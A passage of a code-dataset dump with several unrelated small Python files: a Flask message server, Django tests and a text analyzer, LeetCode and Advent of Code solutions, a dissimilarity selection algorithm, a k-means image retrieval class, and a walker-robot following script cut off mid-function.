print_tb\nfrom flask import Flask, request\nfrom flask_cors import *\nimport json\nfrom gevent import pywsgi\n\napp = Flask(__name__)\nglobal messages\nglobal location_level\nglobal location_vertical\nglobal fontSize\nmessages = \"Teacher Cui's greetings\"\nlocation_level = 0\nlocation_vertical = 0\nfontSize = 100\n\n\n@app.route(\"/\", methods=['POST'])\ndef post():\n global messages\n global location_level\n global location_vertical\n global fontSize\n data_ = request.get_data()\n data = json.loads(data_)\n messages = data[\"messages\"]\n location_level = data[\"location_level\"]\n location_vertical = data[\"location_vertical\"]\n fontSize = data[\"fontsize\"]\n return \"ok\"\n\n\n@app.route(\"/get\")\ndef get():\n return {\n \"messages\": messages,\n \"location_level\": location_level,\n \"location_vertical\": location_vertical,\n \"fontsize\": fontSize\n }\n\n\nif __name__ == '__main__':\n CORS(app, supports_credentials=True)\n app.config['ENV'] = \"production\"\n # server = pywsgi.WSGIServer(('0.0.0.0', 8080), app)\n # server.serve_forever()\n app.run(host=\"0.0.0.0\", port=8080)\n","repo_name":"BoilingBlues/teacher_cui_s_greetings","sub_path":"server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42059546417","text":"from django.test import Client, TestCase\nfrom django.urls import reverse\n\nfrom catalog.models import Category, Item, Tag\n\n\nclass ItemListTest(TestCase):\n \"\"\"Test item list on catalog response content\"\"\"\n\n def tearDown(self):\n Item.objects.all().delete()\n super().tearDown()\n\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.category = Category.objects.create(name='Test Category',\n slug='test-category-slug',\n is_published=True, weight=50)\n cls.tag = Tag.objects.create(name='Test tag', is_published=True,\n slug='test-tag-slug')\n\n def test_list_show_correct_content(self):\n \"\"\"Test show right item count and objects in context.\"\"\"\n\n response = Client().get(reverse('catalog:item_list'))\n self.assertIn('object_list', response.context)\n self.assertEqual(len(response.context['object_list']), 0)\n\n def test_list_with_object_show_correct_content(self):\n \"\"\"Test show correct objects content.\"\"\"\n\n test_item = Item(\n name='test',\n is_published=True,\n category=self.category,\n text='Превосходно',\n is_on_main=True,\n )\n test_item.full_clean()\n test_item.save()\n\n response = Client().get(reverse('catalog:item_list'))\n self.assertIn('object_list', response.context)\n self.assertEqual(len(response.context['object_list']), 1)\n","repo_name":"ewe08/Django","sub_path":"lyceum/catalog/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37228336183","text":"import serial as s\r\n\r\narduino = None\r\n\r\narduino = s.Serial(\"COM4\", baudrate=9600, timeout=1)\r\n\r\nlista = []\r\nMuestras = 30\r\nvalorMayor = -1024\r\n\r\nfor i in range(Muestras):\r\n valor = 0\r\n for j in range(Muestras):\r\n cadena = arduino.readline()\r\n cadena = cadena.decode()\r\n cadena = cadena.replace(\"\\n\",\"\")\r\n cadena = cadena.replace(\"\\r\", \"\")\r\n if cadena!=\"\":\r\n valor += int(cadena)\r\n\r\n if valor > valorMayor:\r\n valorMayor = valor\r\n lista.append(valor)\r\n\r\nprint(\"Lista:\", lista)\r\nprint(\"Valor mayor:\", valorMayor)","repo_name":"RocioRRdz/SE_I_U2_EQ_4","sub_path":"Python/P_4_ValMayor.py","file_name":"P_4_ValMayor.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2227091660","text":"\"\"\"\n1. Two Sum | Easy\nhttps://leetcode.com/problems/two-sum/\n\n* My Submission Performance\nRuntime: 52 ms, faster than 96.28% of Python3 online submissions for Two Sum.\nMemory Usage: 14.8 MB, less than 14.41% of Python3 online submissions for Two Sum.\n\n* Description\nGiven an array of integers, return indices of the two numbers such that they add up to a specific target.\nYou may assume that each input would have exactly one solution, and you may not use the same element twice.\n\nExample:\nGiven nums = [2, 7, 11, 15], target = 9,\n\nBecause nums[0] + nums[1] = 2 + 7 = 9,\nreturn [0, 1].\n\"\"\"\n\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n temp = nums.copy()\n nums.sort()\n \n index1 = 0\n index2 = len(nums) - 1\n \n while (index1 != index2):\n total = nums[index1] + nums[index2]\n if (total == target):\n ans1 = temp.index(nums[index1])\n temp[ans1] = -1\n ans2 = temp.index(nums[index2])\n return [ans1, ans2]\n elif (total > target):\n index2 -= 1\n else:\n index1 += 1\n return None","repo_name":"howon-kim/alg","sub_path":"아카이브/leetcode/1. Two Sum.py","file_name":"1. Two Sum.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33767384875","text":"from functools import wraps\nfrom src.main import logger, get_resource\nfrom src.core.request import Request\nfrom src.core.response import response\n\n\ndef api_endpoint():\n \"\"\"Decorate a lambda function endpoint with user access checking\"\"\"\n def decorator(func):\n @wraps(func)\n def decorated(event, context):\n try:\n resource = get_resource()\n req = Request(event=event, resource=resource)\n # Assign request to context\n context.request = req\n # Call method and manage session in case of error\n err, res = func(event, context, resource)\n except Exception as e:\n logger.error(e)\n err, res = e, None\n err.status_code = '500'\n\n return response(err, res)\n return decorated\n return decorator\n","repo_name":"stevehouel/serverless-todo-api","sub_path":"lib/todo-api/src/core/decorator/api_endpoint.py","file_name":"api_endpoint.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"11097506715","text":"from flask_sqlalchemy import SQLAlchemy\n#from dao.genre import Genre\n#from dao.song import Song\n\n'''\nSQLAlchemy is a Python library for working with SQL databases. \nIt provides an ORM (Object-Relational Mapping) that allows you to define database tables and \nqueries using Python classes and methods.\n\nWith SQLAlchemy, you can interact with a database using Python code without having to write\nany SQL queries directly. SQLAlchemy supports multiple database backends, including SQLite, \nMySQL, and PostgreSQL.\n\nSome of the features of SQLAlchemy include:\n- A simple and intuitive API\n- Powerful query generation and manipulation\n- Automatic handling of SQL transactions\n- Support for advanced SQL features like subqueries, joins, and unions\n- Support for multiple database backends\n- Compatibility with popular Python web frameworks like Flask and Django\n\nOverall, SQLAlchemy is a powerful tool for working with SQL databases in Python, \nand its ORM makes it easy to interact with databases in a more Pythonic way.\n'''\n\n# Esto es el ORM, SQLAlchemy\n\ndb = SQLAlchemy()\n\ndef init_app(app):\n db.init_app(app)\n with app.app_context():\n db.create_all()","repo_name":"ivan-er-dev/tigerify-pair-programming","sub_path":"backend_flask_tigerify/database/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21341992339","text":"\"\"\"\n script file: randomWalk.py\n\n purpose: This program draws a clock using the turtle module\n\n Author: Mr. Asiamah\n\n Date: 25/05/21\n\"\"\"\n\nfrom turtle import *\n\nspeed(0)\n\n\ndef thick():\n pd()\n width(3)\n forward(20)\n ht()\n\n\ndef thin():\n pd()\n width(1)\n forward(15)\n ht()\n\n\n# set the origin of the clock\nfor k in range(12):\n pu()\n left(k * 30)\n forward(200)\n thick()\n pu()\n home()\n\nfor k in range(68):\n pu()\n left(k * 6)\n forward(200)\n thin()\n pu()\n home()\n\nmainloop()\n","repo_name":"infawikirich/code-turtle","sub_path":"first_clock.py","file_name":"first_clock.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43706864759","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# (c) 2018-2019 gmrandazzo@gmail.com\n# This file is part of DeepMolecularNetwork.\n# You can use,modify, and distribute it under\n# the terms of the GNU General Public Licenze, version 3.\n# See the file LICENSE for details\n\"\"\"\nMaximum dissimilarity object selection\n\"\"\"\n\nfrom random import randrange\nfrom random import seed\nfrom datetime import datetime\nimport time\n\ndef _median(lst):\n \"\"\" Get mediane of list \"\"\"\n slst = sorted(lst)\n if len(slst) % 2 != 0:\n return slst[len(slst)/2]\n else:\n return (slst[len(slst)/2] + slst[len(slst)/2-1])/2.0\n\n\nclass DISC(object):\n \"\"\"Perform Dissimilarity compound selection\n through different algorithm variants:\n\n Max - Complete Linkage\n Min - Single Linkage\n Med - Median Method\n Sum - Group Average Method\n\n Parameters\n ----------\n dmx : array, shape(row,row)\n A square distance matrix.\n To build a distance matrix see scipy at:\n http://docs.scipy.org/doc/scipy/reference/spatial.distance.html\n\n nobjects : int, optional, default: 0\n Number of object to select. 0 means an autostop\n criterion.\n\n method: string, default: Max\n Select the dissimilarity method. Available methods are:\n Max, Min, Med, Sum\n\n Returns\n ------\n disids: list\n Return the list of id selected from the algorithm.\n\n\n Notes\n -----\n See examples/plot_dis_example.py for an example.\n\n References\n ----------\n John D. Holliday and Peter Willett\n Definitions of \"Dissimilarity\" for Dissimilarity-Based Compound Selection\n Journal of Biomolecular Screening Vol. 1, Number 3, pag 145-151, 1996\n \"\"\"\n\n def __init__(self, dmx, method, nobjects=0):\n try:\n self.dmx_ = dmx.tolist() #convert to list to be faster\n except AttributeError:\n self.dmx_ = dmx\n self.nobjects = nobjects\n self.disids = []\n self.method = method.lower().strip()\n\n def dislist(self):\n \"\"\" Return the list of dissimilar compounds \"\"\"\n return self.disids\n\n def select(self):\n \"\"\" Run the Dissimilarity selection\"\"\"\n seed(datetime.now().microsecond)\n self.disids.append(randrange(0, len(self.dmx_)-1))\n\n if self.method == \"min\":\n while len(self.disids) < self.nobjects:\n self._appendnext_min()\n elif self.method == \"med\":\n while len(self.disids) < self.nobjects:\n self._appendnext_med()\n elif self.method == \"sum\":\n while len(self.disids) < self.nobjects:\n self._appendnext_sum()\n else:\n while len(self.disids) < self.nobjects:\n self._appendnext_max()\n return self.dislist()\n\n def _appendnext_med(self):\n \"\"\" Append the next object following the sum dissimilarity \"\"\"\n # first column is the distance and second is the objectid\n dis = [[0, i] for i in range(len(self.dmx_))]\n for i in range(len(self.dmx_)):\n if i not in self.disids:\n dlist = []\n for j in range(len(self.disids)):\n dlist.append(self.dmx_[i][self.disids[j]])\n dis[i][0] = _median(dlist)\n else:\n continue\n # first column is the distance and second is the objectid\n dis = sorted(dis, key=lambda item: item[0])\n # Select the object with the maximum distances\n # between all the summed distances list\n # and this is the last object in list\n self.disids.append(dis[-1][-1])\n\n def _appendnext_sum(self):\n \"\"\" Append the next object following the median dissimilarity \"\"\"\n # first column is the distance and second is the objectid\n dis = [[0, i] for i in range(len(self.dmx_))]\n for i in range(len(self.disids)):\n for j in range(len(self.dmx_)):\n if j not in self.disids:\n dis[j][0] += self.dmx_[self.disids[i]][j]\n else:\n continue\n # first column is the distance and second is the objectid\n dis = sorted(dis, key=lambda item: item[0])\n # Select the object with the maximum distances\n # between all the summed distances list\n # and this is the last object in list\n self.disids.append(dis[-1][-1])\n\n def _appendnext_max(self):\n \"\"\" Append the next object following the maximum dissimilarity \"\"\"\n dis = [[0, i] for i in range(len(self.dmx_))]\n for i in range(len(self.dmx_)):\n if i not in self.disids:\n maxdisid = 0\n maxdis = self.dmx_[i][self.disids[maxdisid]]\n for j in range(1, len(self.disids)):\n if self.dmx_[i][self.disids[j]] > maxdis:\n maxdis = self.dmx_[i][self.disids[j]]\n maxdisid = i\n else:\n continue\n dis[i][0] = maxdis\n else:\n continue\n # first column is the distance and second is the objectid\n dis = sorted(dis, key=lambda item: item[0])\n # Select the object with the max distances\n # between all the minimum distances list\n # and this is the last object in list\n self.disids.append(dis[-1][-1])\n\n def _appendnext_min(self):\n \"\"\" Append the next object following the minimum dissimilarity \"\"\"\n dis = [[0, i] for i in range(len(self.dmx_))]\n # t = time.time()\n for i in range(len(self.dmx_)):\n if i not in self.disids:\n mindis = self.dmx_[i][self.disids[0]]\n for j in range(1, len(self.disids)):\n if self.dmx_[i][self.disids[j]] < mindis:\n mindis = self.dmx_[i][self.disids[j]]\n else:\n continue\n dis[i][0] = mindis\n else:\n continue\n # print \"Time1: %.3f\" % (time.time()-t)\n # t = time.time()\n # first column is the distance and second is the objectid\n dis = sorted(dis, key=lambda item: item[0])\n # print \"Time2: %.3f\" % (time.time()-t)\n # Select the object with the max distances\n # between all the minimum distances list\n # and this is the last object in list\n self.disids.append(dis[-1][-1])\n # print \"-\"*10\n\n def _appendnext_min2(self):\n \"\"\" Append the next object following the minimum dissimilarity \"\"\"\n # t = time.time()\n dis = []\n for i in range(len(self.disids)):\n mindis = None\n objid = None\n for j in range(len(self.dmx_[int(self.disids[i])])):\n if self.disids[i] != j and j not in self.disids:\n if mindis == None:\n mindis = self.dmx_[int(self.disids[i])][j]\n objid = j\n elif self.dmx_[int(self.disids[i])][j] > mindis:\n mindis = self.dmx_[int(self.disids[i])][j]\n objid = j\n else:\n continue\n else:\n continue\n\n if mindis != None:\n dis.append([mindis, objid])\n else:\n continue\n\n # print \"Time1: %.3f\" % (time.time()-t)\n # t = time.time()\n # first column is the distance and second is the objectid\n dis = sorted(dis, key=lambda item: item[0])\n # print \"Time2: %.3f\" % (time.time()-t)\n # Select the object with the max distances\n # between all the minimum distances list\n # and this is the last object in list\n self.disids.append(dis[-1][-1])\n # print \"-\"*10\n","repo_name":"gmrandazzo/DeepMolecularNetwork","sub_path":"deepmolecularnetwork/Base/disc.py","file_name":"disc.py","file_ext":"py","file_size_in_byte":7828,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"15781622372","text":"with open('input.txt', 'r') as f: hash = f.readlines()[0].strip()\n\n#Copied from day 10\ndef reverse(values, pointer, length):\n shifted = values[pointer:] + values[:pointer]\n shifted = shifted[:length][::-1] + shifted[length:]\n return shifted[-pointer:] + shifted[:-pointer]\n\n#Copied from day 10\ndef knothash(word):\n nums = list(map(ord, word)) + [17, 31, 73, 47, 23]\n skip = pos = 0\n values = list(range(256))\n\n for _ in range(64):\n for length in nums:\n values = reverse(values, pos, length)\n pos = (pos + length + skip) % len(values)\n skip += 1\n\n knothash = \"\"\n for i in range(16):\n num = 0\n for j in range(16): num ^= values[i*16 + j]\n for j in hex(num)[2:].zfill(2): knothash += bin(int(j, base=16))[2:].zfill(4)\n\n return knothash\n\ndef adjacent(coords, squares):\n x,y = coords\n squares.remove(coords)\n for dx,dy in [(1,0), (0,1), (-1,0), (0,-1)]:\n if (x+dx, y+dy) in squares:\n adjacent((x+dx, y+dy), squares)\n return 1\n\n\ndef run():\n squares = []\n for i in range(128):\n khash = knothash(hash + \"-\" + str(i))\n for ind, c in enumerate(khash):\n if c == \"1\": squares.append((i,ind))\n\n p1, regions = len(squares), 0\n while squares:\n regions += adjacent(squares[0], squares)\n\n return p1, regions\n\nprint(\"Part 1&2: \", run())\n","repo_name":"nabihestefan/AdventOfCode","sub_path":"Python/2017/day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73726954292","text":"import datetime\n\nclass Shelf:\n def __init__(self):\n self.contents = []\n \n def additem(self, item):\n self.contents.append(item)\n\nclass Book:\n\n def __init__(self, name = \"new book\", author = \"no author\", pages = 0):\n self.type = \"Book\"\n self.name = name\n self.author = author\n self.pages = pages\n self.creation_date = datetime.date.today()\n\nclass Game:\n\n def __init__(self, name = \"new game\"):\n self.type = \"Game\"\n self.name = name\n self.creation_date = datetime.date.today()\n\n\nif __name__ == \"__main__\":\n pass","repo_name":"eprnn/environment-testing","sub_path":"libraries/testlib.py","file_name":"testlib.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30752449014","text":"HomePage = \"https://demoqa.com/\" #Demo\n\n\nUName = \"\"\nPwd = \"\"\n\n# ENV = \"MacOS\"\n# ENV = \"Linux\"\nENV = \"WIN\"\n\n# WebBrowser = \"firefox\"\nWebBrowser = \"Chrome\"\n# WebBrowser = \"Opera\"\n# WebBrowser = \"edge\"\n# WebBrowser = \"safari\"\n\nHeadStatus, WindowSize = None, None\n\nCodeBuild = True\nCheckPoint = 'Your privacy settings'\n\n\nLpath = 'E:\\Robot Framework\\Resources'","repo_name":"ageng98-cloud/Robot-Framework","sub_path":"Resources/Staging.py","file_name":"Staging.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35666470988","text":"from datetime import datetime\n\n\nclass Node:\n def __init__(self, lat, lon, alt, time=datetime(1991, 6, 1, 0, 0, 0), name=None):\n self.lat = lat\n self.lon = lon\n self.alt = alt\n self.time: datetime = time\n # self.tilt: float = 0\n # self.azimuth: float = 0\n self.speed: float = 12\n self.battery: float = 100\n self.cloudiness: float = 0\n self.wind: float = 0\n self.danger: float = 0\n self.loiter_time: float = 0\n self.weather = 0\n self.name: str = name\n\n # def __eq__(self, other):\n # if not isinstance(other, Node):\n # # don't attempt to compare against unrelated types\n # return NotImplemented\n #\n # return self.lat == other.lat and self.lon == other.lon and self.alt == other.alt and self.time == other.time\n #\n # def __hash__(self):\n # return hash((self.lat, self.lon, self.alt, self.time))\n\n def info(self):\n print(\n f\"Node(\\n\"\n f\"\\tLatitude: {self.lat}\\n\"\n f\"\\tLongitude: {self.lon}\\n\"\n f\"\\tAltitude: {self.alt}\\n\"\n # f\"\\tTilt: {self.tilt}\\n\"\n # f\"\\tAzimuth: {self.azimuth}\\n\"\n f\"\\tSpeed: {self.speed}\\n\"\n f\"\\tBattery: {self.battery}\\n\"\n f\"\\tCloudiness: {self.cloudiness}\\n\"\n f\"\\tWind: {self.wind}\\n\"\n f\"\\tDanger: {self.danger}\\n\"\n f\"\\tTime: {self.time.strftime('%Y-%m-%d %H:%M:%S')}\\n\"\n f\"\\tName: {self.name}\\n\"\n f\")\"\n )\n","repo_name":"AramaisTyshchenko/DronePP","sub_path":"nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"45184430645","text":"# I have created this file - Vishwajit\nfrom string import punctuation\nfrom django.http import HttpResponse\nfrom django. shortcuts import render \n\ndef about(request):\n return render(request,'about.html')\n\ndef home(request):\n return render(request,'index.html')\n\ndef analyze(request):\n dj=request.POST.get('text','default')\n \n removepunc = request.POST.get('removepunc','off')\n allcaps = request.POST.get('allcaps','off')\n new_line_remover = request.POST.get('new_line_remover','off')\n spaceremover = request.POST.get('spaceremover','off')\n\n \n if removepunc == \"on\":\n \n punctuations = '''!\"#$%&'()*+-./:;<=>?@[\\]^_`{|}~'''\n analyzed = \"\"\n \n for char in dj:\n if char not in punctuations:\n analyzed = analyzed + char \n params = {'purpose':'Remove Punctuations','analyzed_text': analyzed}\n dj= analyzed\n\n if(allcaps==\"on\"):\n analyzed = \"\"\n for char in dj:\n analyzed = analyzed + char.upper() \n params = {'purpose':'Capitalize the Text','analyzed_text': analyzed}\n dj = analyzed\n \n if(new_line_remover==\"on\"):\n analyzed = \"\"\n for char in dj:\n if char !=\"\\n\" and char!=\"\\r\":\n analyzed = analyzed + char\n params = {'purpose':'New Line Remover','analyzed_text': analyzed}\n dj=analyzed\n\n if(spaceremover==\"on\"):\n analyzed = \"\"\n for index, char in enumerate(dj):\n if not(dj[index] ==\" \" and dj[index+1]==\" \"):\n analyzed = analyzed + char\n params = {'purpose':'New Line Remover','analyzed_text': analyzed}\n\n if(removepunc != \"on\" and allcaps!= \"on\" and new_line_remover!= \"on\" and spaceremover!= \"on\"): \n return HttpResponse('

Error

Please!! Select any operation and try again.')\n\n return render(request,'analyze.html',params)\n\ndef contact(request):\n return render(request,'contact.html')\n\n","repo_name":"visu-25/visu-text_analyzer","sub_path":"visu/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37412141195","text":"import sys\nsys.path.append('..')\nfrom base import BaseSolution\nfrom tqdm import tqdm\nimport cv2\nfrom sklearn.cluster import KMeans, DBSCAN, MiniBatchKMeans\nfrom scipy import spatial\nfrom sklearn.preprocessing import StandardScaler\nimport numpy as np\nimport argparse\n\nclass FeatureExtractor(object):\n\n def __init__(self, feature_extractor, model, out_dim=20, scale=None,\n subsample=100, gray=False):\n\n self.feature_extractor = feature_extractor\n self.model = model\n self.scale = scale\n self.subsample = subsample\n self.gray = gray\n\n def get_descriptor(self, img_path):\n img = cv2.imread(img_path)\n if self.gray:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n kp, descs = self.feature_extractor.detectAndCompute(img, None)\n return descs\n\n def fit_model(self, data_list):\n training_feats = []\n # we extact SIFT descriptors\n for img_path in tqdm(data_list, desc='Fit extraction'):\n descs = self.get_descriptor(img_path)\n \n if descs is None:\n continue\n \n if self.subsample:\n # TODO: change here\n sub_idx = np.random.choice(np.arange(descs.shape[0]), self.subsample)\n descs = descs[sub_idx, :]\n\n training_feats.append(descs)\n training_feats = np.concatenate(training_feats)\n print('--> Model trained on {} features'.format(training_feats.shape))\n # we fit the model\n self.model.fit(training_feats)\n print('--> Model fitted')\n\n def fit_scaler(self, data_list):\n features = self.extract_features(data_list)\n print('--> Scale trained on {}'.format(features.shape))\n self.scale.fit(features)\n print('--> Scale fitted')\n\n def extract_features(self, data_list):\n # we init features\n features = np.zeros((len(data_list), self.model.n_clusters))\n\n for i, img_path in enumerate(tqdm(data_list, desc='Extraction')):\n # get descriptor\n descs = self.get_descriptor(img_path)\n # 2220x128 descs\n preds = self.model.predict(descs)\n histo, _ = np.histogram(preds, bins=np.arange(self.model.n_clusters+1), density=True)\n # append histogram\n features[i, :] = histo\n\n return features\n\n def scale_features(self, features):\n # we return the normalized features\n return self.scale.transform(features)\n\nclass KmeansSolution(BaseSolution):\n\n def parse_args(self):\n parser = argparse.ArgumentParser(description='Challenge presentation example')\n parser.add_argument('--data_path',\n '-d',\n type=str,\n default='dataset',\n help='Dataset path')\n parser.add_argument('--output_dim',\n '-o',\n type=int,\n default=20,\n help='Descriptor length')\n parser.add_argument('--save_dir',\n '-s',\n type=str,\n default=None,\n help='Save or not gallery/query feats')\n self.args = parser.parse_args()\n\n def solve(self):\n feature_extractor = cv2.SIFT_create()\n\n # we define model for clustering\n model = KMeans(n_clusters=self.args.output_dim, n_init=10, max_iter=5000, verbose=False)\n # model = MiniBatchKMeans(n_clusters=self.args.output_dim, random_state=0, batch_size=100, max_iter=100, verbose=False)\n scale = StandardScaler()\n\n # we define the feature extractor providing the model\n extractor = FeatureExtractor(feature_extractor=feature_extractor,\n model=model,\n scale=scale,\n out_dim=self.args.output_dim)\n\n # we fit the KMeans clustering model\n extractor.fit_model(self.training_paths)\n \n extractor.fit_scaler(self.training_paths)\n # now we can use features\n # we get query features\n query_features = extractor.extract_features(self.query_paths)\n query_features = extractor.scale_features(query_features)\n\n # we get gallery features\n gallery_features = extractor.extract_features(self.gallery_paths)\n gallery_features = extractor.scale_features(gallery_features)\n\n print(gallery_features.shape, query_features.shape)\n pairwise_dist = spatial.distance.cdist(query_features, gallery_features, 'minkowski', p=2.)\n print('--> Computed distances and got c-dist {}'.format(pairwise_dist.shape))\n indices = np.argsort(pairwise_dist, axis=-1)\n\n gallery_matches = self.gallery_classes[indices]\n return gallery_matches","repo_name":"kidist-amde/image-search-engine","sub_path":"Perceptual Hash -Asher/methods/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72529365173","text":"import numpy as np\nimport os,sys\npwd = os.path.abspath(os.path.abspath(__file__))\nfather_path = os.path.abspath(os.path.dirname(pwd) + os.path.sep + \"..\")\nsys.path.append(father_path)\ndata_path = os.path.abspath(\n os.path.dirname(os.path.abspath(__file__)) + os.path.sep + \"..\" +\n os.path.sep + \"data\")\nimport time\nimport threading\n\nfrom Sensors import IRCamera, IMU, Infrared_Sensor, softskin\nfrom Following.Preprocessing import LiDAR_Processor\nfrom Following.Network import FrontFollowingNetwork as FFL\nfrom Driver import ControlOdometryDriver as cd\n\"\"\"portal num\"\"\"\n\nCamera = IRCamera.IRCamera()\nLD = Leg_detector.Leg_detector()\nCD = cd.ControlDriver(record_mode=True, left_right=0)\nwin_width = 10\nFrontFollowingModel = FFL.FrontFollowing_Model(win_width=win_width)\nweight_path = \"./checkpoints_combine/Combine\"\nFrontFollowingModel.combine_net.load_weights(weight_path)\nIMU_human = IMU.IMU(name=\"human\")\ninfrared = Infrared_Sensor.Infrared_Sensor()\nskin = softskin.SoftSkin()\n\n\"\"\"recording output\"\"\"\nfile_path = os.path.abspath(data_path+os.path.sep+\"output.txt\")\n\ndef position_calculation(left_leg: np.ndarray, right_leg: np.ndarray,\n position_buffer: np.ndarray, weight_array: np.ndarray):\n \"\"\"buffer used to average the position information with special weight\n weight position is a 1 X buffer_length matrix to decide the weight\"\"\"\n human_position = (left_leg + right_leg) / 2\n new_buffer = np.copy(position_buffer)\n new_buffer[0:new_buffer.shape[0] - 1, :] = position_buffer[1:position_buffer.shape[0], :]\n new_buffer[-1, 0] = left_leg[0]\n new_buffer[-1, 1] = left_leg[1]\n new_buffer[-1, 2] = right_leg[0]\n new_buffer[-1, 3] = right_leg[1]\n new_buffer[-1, 4] = human_position[0]\n new_buffer[-1, 5] = human_position[1]\n # current_position = np.matmul(weight_array, new_buffer)[0]\n current_position = np.mean(new_buffer, axis=0)\n return current_position, new_buffer\n\n\n\ndef main_FFL(CD: cd.ControlDriver, LD: Leg_detector.Leg_detector, IR: IRCamera.IRCamera,\n FFL_Model:FFL.FrontFollowing_Model, file_path, IMU:IMU.IMU,\n Skin:softskin.SoftSkin, Infrared:Infrared_Sensor.Infrared_Sensor):\n # weight buffer for lidar detection\n position_buffer_length = 3\n position_buffer = np.zeros((position_buffer_length, 6))\n weight_array = np.array((range(1, position_buffer_length + 1))).reshape((1, 3))\n weight_array = weight_array / weight_array.sum()\n CD.speed = 0\n CD.omega = 0\n CD.radius = 0\n # walker rear wheel distance = 56\n\n # data buffer for neural network\n max_ir = 40\n min_ir = 10\n ir_data_width = 768\n additional_data_width = 4\n buffer_length = win_width\n buffer = np.zeros((buffer_length * (ir_data_width + additional_data_width), 1))\n\n file_record = open(file_path,'w')\n while True:\n if Skin.max_pressure >= 120:\n CD.speed = CD.omega = CD.radius = 0\n IR.get_irdata_once()\n print(\"Abnormal Pressure!\")\n continue\n IR.get_irdata_once()\n if len(IR.temperature) == 768:\n\n # update buffer and predict\n normalized_temperature = np.array(IR.temperature).reshape((ir_data_width, 1))\n normalized_temperature = (normalized_temperature - min_ir) / (max_ir - min_ir)\n buffer[0:(buffer_length - 1) * ir_data_width, 0] = buffer[ir_data_width:buffer_length * ir_data_width, 0]\n buffer[(buffer_length - 1) * ir_data_width:buffer_length * ir_data_width] = normalized_temperature\n \"\"\"additional part start index\"\"\"\n PART2 = buffer_length * ir_data_width\n additional_data = [LD.left_leg[0], LD.left_leg[1], LD.right_leg[0], LD.right_leg[1]]\n additional_data = np.array(additional_data) / 40 + 0.4\n additional_data = np.reshape(additional_data, (additional_data.shape[0], 1))\n buffer[PART2:PART2 + (buffer_length - 1) * additional_data_width, 0] = \\\n buffer[PART2 + additional_data_width:PART2 + buffer_length * additional_data_width, 0]\n buffer[PART2 + (buffer_length - 1) * additional_data_width:PART2 + buffer_length * additional_data_width] = \\\n additional_data\n\n buffer[PART2:PART2 + buffer_length * additional_data_width, 0] = buffer[\n PART2:PART2 + buffer_length * additional_data_width,\n 0]\n predict_buffer = buffer.reshape((-1, buffer_length * (ir_data_width + additional_data_width), 1))\n result = FFL_Model.combine_net.predict(predict_buffer)\n max_possibility = result.max()\n action_label = np.unravel_index(np.argmax(result), result.shape)[1]\n current_left_leg = LD.left_leg\n current_right_leg = LD.right_leg\n current_position, position_buffer = position_calculation(current_left_leg, current_right_leg,\n position_buffer, weight_array)\n max_boundary=14.5 #left max value\n min_boundary=-14 #right max value\n forward_boundry = 8\n backward_boundry = -5\n center_left_boundry = 1 #change gwz\n center_right_boundry = 0.3\n left_boundry = 8.5 #change gwz\n right_boundry = -7\n # print(current_left_leg,current_right_leg,current_position)\n if backward_boundry > current_position[4] > -40:\n CD.speed = -0.1\n CD.omega = 0\n CD.radius = 0\n str1 = \"backward\"\n elif current_position[4] > forward_boundry:\n if current_position[5] > center_left_boundry \\\n and current_position[0] > current_position[2] \\\n and current_position[1] > left_boundry :\n # and action_label==2 :\n if LD.obstacle_array[0,0] > 1 or LD.obstacle_array[0,3] > 1 or Infrared.distance_data[0] < 25:\n str1 = \"left but obstacle\"\n CD.speed = CD.omega = CD.radius = 0\n continue\n CD.speed = 0\n radius = 30+abs(50*(max_boundary-current_position[1])/(max_boundary-left_boundry))\n if radius < 50 :\n radius = 50\n CD.radius = radius\n CD.omega = 10/CD.radius\n str1 = \"left\"\n time.sleep(0.1)\n elif current_position[5] < center_right_boundry \\\n and current_position[2] > current_position[0] \\\n and current_position[3] < right_boundry :\n # and action_label== 3 :\n if LD.obstacle_array[0, 2] > 1 or LD.obstacle_array[0, 4] > 1 or Infrared.distance_data[4] < 25:\n str1 = \"right but obstacle\"\n CD.spe = CD.omegaed = CD.radius = 0\n continue\n CD.speed = 0\n radius = 30+abs(50*(current_position[3]-min_boundary)/(right_boundry-min_boundary))\n if radius < 50 :\n radius = 50\n CD.radius = radius\n CD.omega = -10/CD.radius\n str1 = \"right\"\n 